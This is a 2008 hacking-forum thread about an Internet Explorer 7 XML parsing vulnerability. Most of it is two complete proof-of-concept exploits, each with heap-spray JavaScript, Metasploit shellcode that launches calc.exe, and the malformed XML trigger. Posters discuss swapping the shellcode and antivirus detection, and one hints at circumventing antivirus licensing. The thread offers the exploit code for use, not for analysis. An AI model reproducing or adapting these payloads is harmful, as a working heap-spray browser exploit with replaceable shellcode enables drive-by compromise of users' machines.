The new XML exploit;)

**SqUeEzEr** · 15-12-2008

Hi, I know we shouldn't be talking about exploits, but have you guys seen the new XML exploit in IE7?

It works perfectly on vista

Check milw0rm.com

**fooley** · 15-12-2008

this one ?

[HTML]<html>
<script>

// k`sOSe 12/10/2008
// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
// Heap spray address adjusted for Vista - muts / offensive-security.com
// http://secmaniac.Research Articlespot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
// http://www.offensive-security.com/0day/iesploit-vista.rar
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456 %u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u 6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a 43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d %u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0c0c%u0c0c");
var nops = unescape("%u9090%u9090%u9090");

while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>

</html>


[/HTML]

**-silent-** · 15-12-2008

this one probably

http://milw0rm.com/exploits/7477

Code:

<!--

IE XML Heap Corruption exploit

by krafty

greets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE7 XP SP2, SP3, Vista.

-->

<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");

do {
   spray += spray;
} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)
   memory[i] = spray + shellcode;

xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

tag = document.getElementById("replace");
tag.innerHTML = xmlcode;

</script>
</html>

# milw0rm.com [2008-12-15]

**Syntax_err** · 16-12-2008

it's only crash my arabic sp3 with IE7,0,5730,13 !! no calc opens

i've changed the shellcode lot of times ! nothing works :p

u better watch the pages u visit Scotti :p im using FF anyway !

-KIS 7 with KIS8 updates = DETCTED !

Exploit.JS.XMLPars.a
Exploit.JS.XMLPars.d

have a nice day !

**rx1** · 16-12-2008

Originally Posted by Syntax_err

it's only crash my arabic sp3 with IE7,0,5730,13 !! no calc opens

i've changed the shellcode lot of times ! nothing works :p

u better watch the pages u visit Scotti :p im using FF anyway !

-KIS 7 with KIS8 updates = DETCTED !

Exploit.JS.XMLPars.a
Exploit.JS.XMLPars.d

have a nice day !

And i guess if someone reads it, how do he get KIS8 updates on his KIS 7?
ANSWER: ASK ME _

Thread: The new XML exploit;)

LinkBack

Thread Tools

Display

The new XML exploit;)

Thread Information

Users Browsing this Thread

Similar Threads

Exploit WMF exploit

[Selling] Active eXploit v1.0 Kit

the new phpbb exploit is cool

Exploit.

Exploit - enter here it will take you to google!!

Posting Permissions